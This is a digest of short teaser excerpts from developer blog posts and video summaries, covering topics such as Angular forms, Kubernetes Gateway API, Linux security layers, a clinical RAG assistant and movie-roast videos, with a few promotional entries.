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    Using GitHub MCP With Continue to Review PRs and Issues 5 Faster
    As developers embrace sophisticated AI assistants like Continuous AI, the barrier between context, collaboration, and code generation is dissolving. But how do you bridge the gap between an intelligent AI in your IDE and the complex, living ecosystem of your codebase, which often resides on GitHub? In private repositories, you might ship a new feature in minutes, but you still have to write a detailed PR description, link related issues, and hope a busy maintainer gets to it soon. In open source, the challenge is even heavier. Maintainers are flooded with pull requests, each requiring mental context switching, security scrutiny, and style-guide checks—all of which contribute to the burnout that many in the community report. However, what if you could use your AI assistant to understand the…  ( 10 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    TL;DR CinemaSins tears into Fantastic Four: First Steps in their signature “Everything Wrong With…” style—calling it “sintastic” despite not being the worst Marvel flick—and dishes out snarky quibbles in under 20 minutes. They also plug their sponsor BetterHelp, link to all their channels (@TVSins, @CommercialSins, @CinemaSinsPodcastNetwork), invite you to take a quick poll, back them on Patreon, and follow their writers and community on Discord, Reddit, Instagram, and TikTok. Watch on YouTube  ( 6 min )
    Contributing to roslibjs: From Defeat to Merged PR
    While scrolling through GitHub during my free time, I came across roslibjs the standard Robot Operating System JavaScript library. After researching the project, I learned that roslibjs enables web applications to communicate with robots from within a browser. The library uses WebSockets to connect with rosbridge which provides a JSON API to ROS functionality for non-ROS programs, supporting publishing, subscribing, service calls, and other ROS functionality. The core architecture made me interested to work on this issue. This issue was open since July 12, and from the description, it seemed trivial to fix. However, I didn't account for the architectural complexity involved. After communicating with a maintainer about tackling this issue, I dove in. Here's the PR that I made. I started by …  ( 17 min )
    I Added Cross-Field Validation with Signal Forms. This Is How I Did It
    With Angular’s new Signal Forms API, cross-field validation no longer needs to be complex or scattered across your app. In this post, we’ll build a real-world password and confirm password validator using the validate() function to compare values across fields the modern way. You’ll learn how to access other field values with valueOf, return custom validation errors, and keep your validation logic clean, declarative, and colocated with your form definition. Why This Password Form Is Wrong Here we have a form with a password field and a confirm password field: If we click into the username field and blur out, we get a validation message letting us know that this field is required: Once we add a valid username, the error message disappears. We also have the same thing with o…  ( 11 min )
    Using React Native Skia for Web Graphics with Expo 2026
    By 2026, the demand for high-performance, GPU-accelerated web graphics will be standard. Developers are looking for a single codebase to deliver fluid, native-like experiences on every platform, including the web. Using React Native Skia for web graphics with Expo is the answer. It moves beyond traditional DOM limitations, allowing you to render sophisticated 2D graphics, animations, and data visualizations directly on the GPU. This guide breaks down how to set up, optimize, and build with Skia for the web, preparing you for the next generation of web applications. React Native Skia for the web isn't just another drawing library. It's a fundamental shift in how we can create visual experiences in the browser by bringing a mature, high-performance 2D graphics engine to your React components…  ( 11 min )
    Why Developer Experience (DX) Matters in DevOps
    “Great DevOps isn’t built on powerful tools , it’s built on developers who have the freedom and clarity to use them well.” Introduction What Is Developer Experience (DX)? Why DX Matters in DevOps Key Elements of a Great Developer Experience How DX Impacts DevOps Success Common Challenges That Hurt Developer Experience Strategies to Improve DX in DevOps Tooling & Automation That Enhance DX Interesting Facts & Statistics FAQs Key Takeaways Conclusion As DevOps becomes the backbone of modern software delivery, organizations are increasingly recognizing that successful DevOps doesn’t start with tools , it starts with people. More specifically, it begins with developers, their workflows, and their overall experience. Developer Experience (DX) refers to how developers feel while interacting with…  ( 9 min )
    Why Is NopReport a Truly Unique Reporting Engine?
    Unlike typical reporting engines, NopReport can directly use Excel and Word as templates, without necessarily relying on a dedicated visual designer. For an introduction to NopReport, see An open-source, China-style reporting engine that uses Excel as the designer: NopReport and How to implement a visual Word template similar to poi-tl in 800 lines of code However, some readers still don’t perceive what’s unique about it and raise questions like: Hasn't this approach existed for a long time? Everyone knows Word is basically XML and can be filled with a template engine. To grasp the innovative aspects of NopReport’s design, you need to step out of the weeds of concrete features and think in terms of more abstract mathematical structures. NopReport’s core design idea is based on the followin…  ( 9 min )
    What You Will Learn in SAP HCM Classes as a Beginner in HR
    Starting a career in Human Resources can feel overwhelming for beginners. You may understand that HR involves hiring, payroll, employee engagement, and compliance—but how these actually work inside real companies is not always clear from textbooks alone. This is where sap hcm classes in pune often become an important learning step for students and freshers who want to move from theoretical HR knowledge to practical, system-based HR operations. Organizational structures Attendance and leave Payroll processing Recruitment and onboarding Training and development All these functions are centrally managed through one system instead of scattered tools. Compliance with labor laws Speed of HR processes Transparency in reporting For beginners, this makes SAP HCM a practical gateway into modern HR e…  ( 10 min )
    Found a 75%-off lifetime Windows fix when half our machines started expiring at 2 AM
    Picture this: middle of a release, 40+ refurbished dev boxes suddenly screaming “Your Windows license will expire soon.” Remote devs locked out, deadline breathing down our necks. Click here to read Anyone else secretly using MAR licenses yet? Feels like cheating… but it’s 100% legal.  ( 6 min )
    GRP Make Van Build For Beginners
    Fiberglass perfectly suits motorhome construction. It is a durable composite of fiberglass soaked with polyester or epoxy resin.Owing to its unique structure, fiberglass integrates lightness, strength, durability, and resistance to negative environmental influences.Key properties of fiberglass include:Exhibits high strength at low thickness.Thus, a 2 mm fiberglass sheet matches or sometimes exceeds the strength of 6 mm plywood.Resistance to moisture and temperature changes.The material resists moisture, does not rot, swell or crack when heated.Skill to create intricate shapes and curved parts.Compared to plywood and MDF, fiberglass freely takes any form and bend, enabling ergonomic shower trays, smooth furniture edges, and unique elements.Low weight. Thanks to this, the overall weight of t…  ( 9 min )
    Developers: A Profession or a Toolbox? Les dérives du recrutement “homme-orchestre”
    Dans de nombreuses entreprises un phénomène préoccupant s’est installé : la confusion profonde entre le métier de développeur et une boîte à outils humaine capable de tout faire. Les offres d’emploi témoignent de cette dérive, avec des attentes irréalistes, incohérentes et contre-productives. 1. Des offres d’emploi sorties de l’imaginaire et non du besoin réel Il n’est pas rare de voir une offre chercher un seul individu capable de : développer des applications web, créer des applications mobiles, administrer un réseau, gérer le secrétariat, produire du design UI/UX, faire du DevOps, maîtriser PHP, Java, Python, Go, JavaScript… Le tout dans un seul profil. Cette vision transforme la recherche d’un expert en une quête d’un mythe technologique, un “super-héros numérique” qui n’existe tout…  ( 7 min )
    Top React Native Wheel Pickers for Date Color Selection 2026
    Finding the right UI components in 2026 is about more than just functionality. Developers now need intelligent, performant, and deeply accessible tools to meet modern user expectations. Standard libraries no longer cut it for standout applications. If you're searching for the best React Native Wheel Pickers, you need libraries built for the future. This guide breaks down the top options for date and color selection that deliver a next-generation user experience. Wheel pickers have remained a mobile UI staple for a reason. Their thumb-friendly, scrolling interface feels natural and efficient. But the technology driving them has changed completely. We've moved from basic JavaScript-driven components to sophisticated modules that use native device capabilities. The key innovations for 2026 fo…  ( 12 min )
    App Keyword Ranking: The Invisible Battle for Mobile Visibility
    Why It Matters 1.Cost-Effective, Quality Traffic: Ranking highly for relevant keywords provides a steady stream of free, high-intent users, significantly reducing customer acquisition costs. 2.Builds Trust & Credibility: Users often perceive top-ranked apps as more authoritative and trustworthy, enhancing brand perception. 3.Drives Sustainable Growth: Organic traffic forms a stable foundation for user growth, complementing paid advertising campaigns for a balanced marketing strategy. Key Ranking Factors While algorithm details are secret, core factors include: 1.Title & Subtitle: The app's name carries the highest weight. Incorporating primary keywords here is essential. 2.Keyword Field: Strategic use of the dedicated keyword field (on iOS and Android) for relevant search terms, long-tail keywords, and competitor names. 3.Download Velocity & Conversion Rate: The number of installs and the rate at which searches lead to downloads signal relevance and popularity to the algorithm. 4.User Ratings & Reviews: Positive feedback and a high average score boost credibility and ranking potential. 5.User Engagement & Retention: Algorithms increasingly value long-term user satisfaction, rewarding apps that keep users active. Optimization Strategy Success requires a continuous process: thorough keyword research, strategic implementation in metadata, encouraging positive reviews, and relentless A/B testing to refine approaches. Ignoring App Store Keyword Optimization (ASO) in a crowded marketplace is a critical mistake. By mastering this blend of data science and marketing, developers can win the invisible battle for visibility, ensure their app is discovered, and build a foundation for lasting success.  ( 7 min )
    A Practical Framework for Collaborating with Global Influencers to Grow Subscription Apps
    As subscription-based apps and SaaS products expand into international markets, influencer marketing has evolved from a nice-to-have into one of the most reliable acquisition levers. While traditionally associated with beauty, fashion, and gaming, influencer-driven growth is now accelerating adoption across productivity, wellness, education, AI tools, and utility apps. The key is precision: identifying the right creators, in the right niches, on the right platforms. This guide outlines a complete framework for how subscription app teams can plan, execute, and scale influencer collaborations globally. Subscriptions require users to invest more than money—they invest their habits, attention, and daily routines. This is where influencer marketing shines. Creators help subscription apps: Build…  ( 8 min )
    Kickstart Your Career with Our Android Repair Course!
    Learn how to diagnose, troubleshoot, and repair Android smartphones with hands-on practical training. From software fixes to advanced hardware repair, this course gives you all the skills needed to become a professional technician. Perfect for beginners and those looking to upgrade their expertise. 📱✨ Call now: 9212522522 https://www.hitechinstitute.in/ Watch now :  ( 6 min )
    Building a Lightweight, Multi-Store Restaurant Management System for a QSR Brand
    This case breaks down how we designed and implemented a cross-platform restaurant management system that works reliably across multiple branches — even with inconsistent network conditions and mixed hardware environments. Real-time sales and inventory sync Offline-first operation for unstable WiFi Role-based access control Multi-store data aggregation Cross-platform UI (desktop + tablet) Fast response time under peak load We used a modular, API-driven design: [Frontends] - Tablet Dashboard (Vue) - Desktop Admin Panel (Web) [APIs] - RESTful service layer - WebSocket for real-time sync [Core Services] - Stock management - Sales records - Employee roles & permissions - Multi-store aggregation [Data Layer] - Cloud DB (Primary) - Local SQLite fallback (Offline mode) The offline-first approach ensures all store operations keep running even when the network drops. Branch hardware varied widely: To handle this: The UI was optimized for low-memory devices API responses were lightweight Sync operations were incremental, not full-dataset After deployment, the system improved: Stock update accuracy Data sync stability Operational efficiency during peak hours Manager visibility across all stores This architecture is well-suited for: Multi-store retail management POS extensions Kitchen automation dashboards IoT-connected restaurant systems (smart freezers, energy sensors, etc.) ✅ Read the full engineering write-up 👉 https://zediot.com/case/restaurant-management-software-qsr/ ✅ Need custom restaurant or retail software? We build production-grade systems for QSR, retail, kitchen automation, and AI/IoT-enabled operations. https://zediot.com/contact/  ( 6 min )
    Why I’m Learning Web3: A 60-Day Journey from Beginner to DevRel/Community
    1 year ago, most of my work lived in a very different world from Web3. I was building and managing communities, writing technical content, and helping products grow. I’ve written dozens of technical articles, helped brands talk to their users in plain language, and seen firsthand how strong communities can make or break a product. But every time I opened Twitter or LinkedIn, there was one word I kept seeing everywhere: Web3. People were talking about DAOs, DeFi, NFTs, on-chain communities, and “DevRel” as if it was obvious. It wasn’t obvious to me. I wasn’t a JavaScript wizard. I wasn’t deploying smart contracts. I was curious, a little intimidated, and very aware that I was late to the party. So instead of pretending to understand it, I decided to do something different: learn Web3 in pub…  ( 9 min )
    Azure Synapse vs Databricks: 10 Must-Know Differences (2025)
    Data is the foundation of modern enterprise innovation—but you need a solid platform to make the most of it. That means being able to handle massive amounts of data, power real-time analytics, and simplify machine learning workflows. There are several platforms out there, but two really stand out for this: Azure Synapse and Databricks. Both are popular, powerful, and live in the cloud, but that's where a lot of the similarity ends. To choose between them, you need to know what each one does best. Databricks is basically Apache Spark supercharged for the cloud. It's built around the "Lakehouse" concept, which combines the benefits of data lakes and data warehouses. On the flip side, Azure Synapse Analytics is Microsoft's all-in-one data analytics service. It combines data warehousing,…  ( 44 min )
    NAS vs. Object Storage vs. JuiceFS: Storage Selection of Billion-Dollar Quantitative Firms
    In the quantitative investment field, the performance and scalability of the storage system support efficient research and computational tasks. JuiceFS, an open-source high-performance distributed file system, has become the storage backbone for multiple top-tier, billion-dollar quantitative investment firms. It delivers high-performance, cost-effective, and elastically scalable storage infrastructure for their core operations—including backtesting and model training. This article shares the critical storage challenges faced by quantitative firms and how JuiceFS addresses them. We’ll explore typical case studies focusing on cost optimization, metadata performance improvement, and seamless cloud migration. First, let's understand the data usage patterns in quantitative research. The progr…  ( 15 min )
    Free Interactive SQL Practice Platform for Developers
    Looking for a practical way to improve your SQL skills? Check out https://www.sql-practice.online/ — a free platform with 60+ interactive SQL exercises based on realistic business data (HR, E-commerce, School). Write and validate queries online, track your progress, and prepare for technical interviews. Perfect for learners, developers, and anyone who wants to master SQL through hands-on practice. No signup needed.  ( 6 min )
    🚀 Task #4 — GitHub Actions with CI + Docker + GitOps ArgoCD + GKE Cluster (CICD)
    📌 How CI/CD Works Step-by-Step Flow 1️⃣ Developer pushes code to GitHub Push changes inside app/main.go Push new Dockerfile changes Push manifest updates 2️⃣ GitHub Actions Runs Builds Docker image Pushes new image to GHCR Updates deployment YAML Commits YAML back to the repo 3️⃣ ArgoCD Observes Git State ArgoCD continuously watches repo Repo changed ➝ ArgoCD detects new commit 4️⃣ ArgoCD Performs Deployment Applies updated YAML to Kubernetes Deploys the new version Ensures cluster matches Git (self-heal) 5️⃣ Result ✅ Fully automated CI/CD argocd-demo-app/ ├── app/ │ └── main.go ├── k8s/ │ └── deployment.yaml ├── .github/ │ └── workflows/ │ └── ci-cd.yaml ├── Dockerfile ├── README.md app/main.go package main import ( "fmt" "net/http" ) fun…  ( 8 min )
    Using VPN for Google Services: Why and When You Need It in 2025
    Why Google Services Access Is Becoming Problematic Google Search, Gmail, YouTube, Google Maps, Google Meet, and Gemini are tools modern work can't function without. But in 2025, users face new barriers: government censorship (as in China and Iran), corporate firewalls, ISP throttling, and data leak risks on public Wi-Fi. A VPN has ceased to be optional and become essential for safe access. The key point: using a VPN to protect your Google connection is completely legal and recommended by cybersecurity experts. Google Search — the #1 search engine Learn more about VPN for Google Gmail — email service Learn more about VPN for Gmail YouTube — video platform Learn more about VPN for YouTube Google Maps — maps and navigation Learn more about VPN for Google Maps Google Meet — video conferencin…  ( 8 min )
    Struktur Folder Hugo CMS: Peta Jalan Menuju Website Statis yang Rapi dan Kencang
    Halo Kawan Deuxly! Pernah nggak sih kamu merasa overwhelmed saat pertama kali membuka teks editor setelah menginstal Hugo? Di panel kiri, berderet folder dengan nama-nama asing: archetypes, assets, content, layouts, dan teman-temannya. Rasanya seperti masuk ke kokpit pesawat tanpa buku manual. Bagi pengguna WordPress, kita terbiasa dimanjakan. Kita nggak perlu tahu di mana database disimpan atau di mana file inti berada. Tapi di Hugo—dan dunia Static Site Generator (SSG) pada umumnya—file dan folder ADALAH database kamu. Memahami struktur direktori Hugo bukan sekadar hafalan. Ini adalah tentang memahami logika dan hierarki. Jika kamu paham konsep ini, kamu bisa memanipulasi tema deuxlytheme (atau tema apapun) sesuka hati tanpa takut merusak kode aslinya. Di artikel ini, kita akan membedah …  ( 10 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    TL;DR CinemaSins just dropped “Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less,” where they jokingly tear into the new Fantastic Four movie—sponsor shout-out to BetterHelp included—and rack up their usual sins, even if the film “wasn’t bad.” They round out the vid by plugging their main site, YouTube spinoffs (@TVSins, @commercialsins, @cinemasinspodcastnetwork), a sinful poll, Patreon support, and a slew of community links (Discord, Reddit, Instagram, TikTok)—plus full writer credits for those curious who’s behind the jokes. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: John Carter - Caravan Of Garbage
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    How to Use Webflow as a Developer: A Complete Technical Workflow Guide
    Webflow has evolved from a visual website builder into a robust platform that developers can leverage for rapid prototyping, custom workflows, and even full-scale production sites. While it’s often marketed toward designers, developers can harness Webflow’s power to streamline front-end development, integrate APIs, and maintain scalable projects. In this guide, we’ll walk through a complete technical workflow for developers using Webflow. Before diving in, developers should understand Webflow’s structure: Designer: The visual interface where elements, layouts, and interactions are created. CMS (Content Management System): Dynamic collections that allow you to manage structured content. Editor: A simplified interface for content editors to update content without breaking layouts. Hosting: W…  ( 8 min )
    Building Software That Actually Gives a Damn: My Journey with Trauma-Informed Design
    You know what really gets me fired up? Healthcare apps that treat patients like data entry machines. I've watched too many people - friends, family members dealing with chronic pain - get completely overwhelmed by apps that demand everything upfront with zero consideration for what they're actually going through. That's why I'm so passionate about what we're building with Pain Tracker. We're not just collecting pain scores; we're creating a safe space for people who've been let down by the medical system before. Here's the thing that took me way too long to figure out - you can't just bolt empathy onto an existing app. It has to be baked into the foundation. So we built this trauma-informed provider that wraps our entire app, kind of like a warm blanket that adapts to what each person need…  ( 10 min )
    Kubernetes Gateway API Rehberi: Ingress NGINX'ten Göç ve Zabbix Örneği
    NGINX Ingress'e Ne Oldu? 2026 yılında Kubernetes dünyasında önemli bir değişiklik yaşanacak: NGINX Ingress Controller artık yeni özellik güncellemeleri almayacak. Panik yapmaya gerek yok - mevcut kurulumlarınız çalışmaya devam edecek. Ancak yeni özellikler için artık başka bir çözüme bakmamız gerekiyor. İşte burada Kubernetes Gateway API devreye giriyor. Gateway API, Kubernetes'in resmi olarak desteklediği yeni nesil routing çözümü. Ingress'ten temel farkı şu: modüler yapısı. Ingress'te her şey tek bir YAML dosyasında toplanıyordu. Gateway API ise işleri üç parçaya ayırıyor: Cluster genelinde hangi gateway controller'ın kullanılacağını belirler. Bunu bir kere tanımlıyorsunuz ve tüm cluster için geçerli oluyor. apiVersion: gateway.networking.k8s.io/v1 kind: GatewayClass metadata: name: …  ( 9 min )
    Integrate Cloudflare Turnstile into Astro and React Apps
    This post was originally published in my website here. Form submission interfaces are a critical vector for engagement in any modern web application. Yet, they simultaneously represent a persistent challenge: mitigating the deluge of spam and automated submissions without degrading the UX. While initial defense layers—such as schema validation, custom server-side validators, and rigorous input sanitization—are fundamental, an additional, robust layer of bot defense is essential. This guide details the strategic implementation of Cloudflare Turnstile, the privacy-preserving successor to traditional CAPTCHA, integrated within a type-safe Astro and React environment using server-side validation. Cloudflare Turnstile represents a pivotal shift away from the intrusive visual puzzles of convent…  ( 9 min )
    LOT_002: First time using the new Zoom LiveTrak L6max
    Second video in my "Live One Take" Series The main purpose of this was to set up the Zoom LiveTrak L6max, but I had a pretty good little jam, so I thought I'd post it. The L6max is a powerful little device! I'm barely using it to the extent I hope to, but I am using most of its features at least a bit in this video: Mixer, MIDI Controller, Effects Send, Multi-track Recorder. As a little test jam, it's kinda long at 7+ minutes TBH. I plan to do an audio-only edit because I like some of the elements of what I captured here! I've included an overview of the whole setup, its routings and some of the inner workings, and I also created a flow diagram with Mermaid.js for this. Some things are over simplified and there are plenty of areas I could dive into more, particularly the inner routings a…  ( 8 min )
    What was your win this week??
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    📌 Case Study: Building a Multi-Product Ecosystem for Illumora & Boombooth
    Industry: Mental Wellness, Media, Event Tech Services: Full-Stack Development, UI/UX, MVP Engineering Engagement: Long-term Product & Engineering Partner Illumora is a mental wellness brand offering creative services such as photography, branding, and content. To extend their experience layer, they created BoomBooth, a child brand focused on automated event galleries and instant image delivery. Both brands needed solid, production-ready digital products — fast — without hiring an internal engineering team. Illumora partnered with me as an independent product & engineering partner to design, build, and deploy both platforms end-to-end. The founder needed: A scalable parent platform for Illumora (clients, creators, assets, content, workflows) A lightweight, event-focused child product for …  ( 7 min )
    Daily Tech News Roundup - 2025-11-28
    Daily Tech News Roundup Welcome to your daily dose of tech news! Today's roundup features Black Friday deals, AI insights, and a startup spotlight. Get ready to dive into the latest happenings in the tech world. DualSense Edge Sees a Black Friday Discount Sony's premium DualSense Edge controller is currently on sale for around $169 at various retailers like Amazon, Walmart, and Best Buy. This $30 discount provides a more affordable opportunity to experience the pro-style gamepad, making it an appealing option for serious gamers looking to enhance their gameplay. Source Ray-Ban Meta Smart Glasses on Sale Despite the recent release of the Gen 2 Ray-Ban Meta smart glasses, the original model remains a compelling purchase, especially with Black Friday deals. The core experience between the two…  ( 7 min )
    [ShowDev] I Built an Open-Source "Audit Tool" to Detect Government Waste Using Python & Math 🐍📊
    The Problem: "Vanity Metrics" in the Public Sector Governments love big numbers. "Total budget: $100M!" "Cumulative users: 30,000!" In the startup world, we call these "Vanity Metrics"—numbers that look good on paper but mean nothing in reality. They often hide the denominator (population or actual needs) to create an illusion of success. I live in Kashiwa City, Japan. Recently, the city proudly announced "3,000 users!" for a new app project. It sounded impressive until I ran a simple calculation: City Population: 430,000 Penetration Rate: 0.7% It wasn't a success. It was a statistical error. I developed a logic called SBCM. It normalizes huge, vague numbers into a "Standard Block"—the capacity of a single average municipality. Instead of looking at the raw number ($V$), we calculate the…  ( 8 min )
    The Hidden Cost of Multiple Business Solutions: Why Your Business is Bleeding Money
    The Hidden Cost of Multiple Business Solutions: Why Your Business is Bleeding Money Every growing business faces the same trap: subscription overload. You start with one tool for CRM. Then another for project management. Add email marketing. Throw in accounting software. Before you know it, you're juggling 10+ platforms, paying separate bills, and your team is drowning in logins. Sound familiar? Modern businesses are caught in a vicious cycle: $50/month for CRM (Salesforce, HubSpot) $30/month for project management (Asana, Monday.com) $100/month for email marketing (Mailchimp, SendGrid) $40/month for HR management $60/month for accounting software $80/month for customer support tools $45/month for analytics platforms Total: $405/month = $4,860/year And that's just the beginning. As you …  ( 8 min )
    Atrament.js Canvas Library: Smooth Drawing with Pressure Support
    Atrament: a JavaScript library for natural canvas drawing and handwriting. Features: Renders directly to canvas bitmap like physical ink on paper Supports pressure-sensitive stylus input with configurable scaling Includes stroke recording for undo and replay functionality Multiple modes including draw, erase, and fill Lightweight core with optional fill module to reduce bundle size The programmatic drawing API lets you reconstruct strokes from recorded data, making it straightforward to implement undo/redo functionality without external dependencies. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )
    How a Model Really Learns: From Loss to Learning in Machine Learning & Deep Learning
    Machine Learning and Deep Learning are often treated as black boxes filled with complex math and jargon. But at their core, they are built on a few simple ideas: measuring error, understanding direction, and making small improvements over time. In this article, I break down how a model actually learns — from the moment it makes a mistake, to how that mistake travels backward through the network to update weights and improve future predictions. Starting from a simple equation, we’ll build up to neural networks and the complete training loop, step by step. Human intelligence works by building mental models of the world. Example: Black clouds + strong wind → We expect rain Sometimes this is wrong (it could be a cloud shadow) Over time, the brain refines these models. Machine Learning works t…  ( 11 min )
    Building a Clinical AI Assistant with RAG and GPT-4
    What I Built I recently built Heidihack - an AI-powered clinical decision support system that helps healthcare professionals with: 📋 Automated SOAP Notes - Generates complete clinical documentation 🔍 Differential Diagnoses - AI-suggested diagnoses with risk levels 💊 ICD-10 Coding - Automatic medical billing codes ✅ Treatment Plans - Evidence-based recommendations ⚠️ Safety Checks - Verifies medication allergies Backend: Python + FastAPI OpenAI GPT-4 RAG (Retrieval-Augmented Generation) FAISS for vector search Frontend: React 18 Vite Tailwind CSS Instead of just asking GPT-4 directly, my system: Takes patient symptoms and data Searches a clinical knowledge base for similar cases (using FAISS vector search) Retrieves relevant medical patterns Sends both the query AND retrieved context t…  ( 7 min )
    🔐 The Linux Security Architecture - PAM, Capabilities, MAC & Beyond
    Linux powers everything from cloud servers to Android smartphones - trusted not just because it's open-source, but because its security architecture is layered, modular, and resilient. Instead of depending on a single control, Linux enforces defense-in-depth through authentication frameworks, access controls, kernel-level enforcement, and isolation. Here's a breakdown of the 7 key layers that make Linux secure: 1️⃣ Discretionary Access Control (DAC) - The Classic Unix Model DAC is the foundation of Linux security. Every file and process has: An owner A group Permissions for user */ **group */ **others Example: -rwxr-xr-- root admin script.sh 👉 Fast and simple 2️⃣ Pluggable Authentication Modules (PAM) - How Users Login & Prove Identity PAM decides how authentication works in Linu…  ( 8 min )
    ⚡ Dartalyst: A New Full-Stack SSR Framework That Just Hit 30,937 Requests Per Second
    Dart (NevaehUI) for the frontend Crystal (KothariAPI) for the backend The combined framework is called Dartalyst, and based on internal benchmarks, it now ranks among the fastest SSR frameworks currently measured. This post breaks down the numbers, the comparisons, and why this architecture works — with public testing opening in 3 weeks. Dartalyst was tested across four workloads: Test Throughput Simple SSR 30,937 req/s Concurrent SSR 25,897 req/s Complex Components 7,029 req/s Data Fetching (SSR) 6,887 req/s All tests included: HTML generation Component rendering State serialization Hydration markers Real routing logic No caching. Just actual SSR. Below is a comparison using publicly available SSR benchmark ranges (not raw HTTP benchmarks). Top-Tier SSR (20,000+ req/s) …  ( 7 min )
    Real AI-first products won’t need to say “AI” anywhere. They’ll simply feel smoother, smarter, and more effortless than the alternatives. The future will belong to the builders and operators who understand this distinction.
    From Hype to Impact: What AI-First Really Means Jaideep Parashar ・ Nov 28 #ai #architecture #api #nocode  ( 7 min )
    Day 56 of 100 days dsa coding challenge
    Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 *Problem: * https://www.geeksforgeeks.org/problems/subset-xor--175953/1 Subset XOR Difficulty: Medium Accuracy: 79.36% Given an positive integer n, find a subset of numbers from 1 to n (inclusive), where each number can be used at most once, such that: i. Solution: class Solution: def subsetXOR(self, n: int): xr = [n,1,n+1,0][n%4] need = xr ^ n if 1 <= need <= n: return [i for i in range(1,n+1) if i!=need] return [i for i in range(1,n+1)]  ( 6 min )
    Faceless AI Video Course Review: 10-Minute Shorts Workflow for Fast Output and Email Monetization
    This faceless AI video course offers a 10-minute live Shorts workflow that eliminates editing, scripting, and device restrictions. It speeds up production, reduces startup costs, and transitions creators from unstable RPM Shorts to email-based revenue. The system supports beginners, channel owners, and anonymous creators through rapid acquisition, multi-niche testing, and first-list monetization. Strengths include speed, cost-effectiveness, and repeatable faceless output; limited focus on long-term stability and format dependency. here]  ( 6 min )
    From Hype to Impact: What AI-First Really Means
    “AI-first.” Everyone uses the term. But if you strip away the buzzwords and marketing decks, only a small fraction of products in 2025 are truly AI-first. Most are AI-decorated, not AI-designed. And the difference is massive. AI-decorated products add AI on top of old workflows. If we want to move from hype to real-world impact, we need to understand what AI-first actually means, and what it doesn’t. Here’s how I see it. 1. AI-First Is Not “We Added an AI Feature” Most products claiming to be AI-first simply added: a chatbot on the side an auto-generated summary a code snippet generator a text rewrite tool an image assistant These are AI features, not AI foundations. If you can remove the AI and the product still works, it’s not AI-first. True AI-first products collapse the entire workflow…  ( 10 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    In “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” CinemaSins delivers a rapid-fire roast of the new K-pop action flick, piling on signature jokes and playful nitpicks. Along the way they drop links to their main site, YouTube channels (like @TVSins and @CommercialSins), a fan poll, and a Patreon invite for anyone who wants to support the sin squad. Credits go to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel, and you’re encouraged to keep the conversation going on Discord and Reddit or catch more sins on Instagram, TikTok—and even Jeremy’s new book. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    CinemaSins just dropped “Everything Wrong With Mission: Impossible – The Final Reckoning,” a 27-minute roast of Cruise’s latest globe-trotting, death-defying stunts—all while poking fun at how this franchise might’ve lost its magic. Expect snappy jokes, a running “sin” counter, and plenty of eye-roll moments. Hungry for more sinful fun? Hit up cinemasins.com or their Linktree to fill out polls, support them on Patreon, and join the party on Discord, Reddit, TikTok, Instagram—and see which sin-spotting heroes (like Jeremy, Chris, Aaron, and the rest) cooked up this takedown. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: The Sorcerer's Apprentice - Caravan of Garbage
    Disney’s in a slump — Marvel and Star Wars aren’t sticking the landing, and new releases Wish and Elio barely made a ripple. But of course, Disney’s had its flop phases before, and over the next few weeks The Weekly Planet is digging into four of their biggest live-action disasters on Caravan of Garbage. First up: 2010’s The Sorcerer’s Apprentice. Picture Nicolas Cage, a dash of magic, an inexplicable giant bird and a whole lot of “what was I watching again?” nostalgia. Buckle up for a playful roast of this long-forgotten misfire. Watch on YouTube  ( 6 min )
    The Power of Code Snippets: How to Sell Your Own Code Libraries and APIs
    Do you ever write a little piece of code — a utility, a library, an API endpoint — and then leave it at that, tucked away in a private folder or GitHub gist? What if instead you turned that snippet into a product—something others pay for, reuse, build on? a reusable asset, not just a one-off solution, you open up a world of possibility. In this post we’ll explore how and why you can create and sell your own code libraries or APIs (for example on platforms like RapidAPI or the GitHub Marketplace), how to do it well, and how to make real money from something you wrote once but reused many times. When I first started programming, I treated every piece of code as disposable — write it, use it, done. Later I realised: many of those snippets were generic, reusable, and could serve other people’s…  ( 12 min )
    Mr Sunday Movies: John Carter - Caravan Of Garbage
    Disney’s Slump and the “Caravan of Garbage” Series Modern Disney is in a rough patch—Marvel and Star Wars aren’t hitting like they used to, and new releases like Wish and Elio barely made a ripple. But Disney’s no stranger to flops, so over the next few weeks this show will dive into four colossal live-action disasters, kicking off with 2010’s Nicolas Cage–led The Sorcerer’s Apprentice (yes, magic and a giant forgettable bird). Where to Catch the Fun Hosted by James and Maso, you can find bonus podcasts, early videos and movie commentaries at bigsandwich.co, or tune into their Extended Audio Edition on YouTube. Don’t forget to follow them on Twitter and support the chaos on Patreon! Watch on YouTube  ( 6 min )
    Tank 300IQ — A Smart Ricochet Tank Shooter Right in Your Browser
    🚀 Introducing Tank 300IQ — A Ricochet Tank Shooter With Adaptive AI Play now: https://en.inithtml.com/tank-300iq/ If you enjoy fast-paced arena shooters, physics-style ricochet mechanics, and bots that actually learn, you’ll probably vibe with Tank 300IQ — a tiny-but-chaotic browser tank game where bullets bounce, tanks dash, and both sides shoot down incoming fire mid-air. Runs directly in your browser (PC + Mobile), no downloads, no account — just play. Tank 300IQ is built around smart ricochet combat and a tactical AI “brain” per difficulty. Each bot adapts based on how you play, storing its behavior profile in localStorage. 5 Difficulty Levels (Easy → Insane) Bots can: Lead shots and analyze angles Perform ricochet & multi-bounce calculation Read distance, danger, and advantage …  ( 7 min )
    🚀 Cómo Usé IA, FRDs, Claude Sonnet, Windsurf y Antigravity para Orquestar un Backend Completo Sin Caos
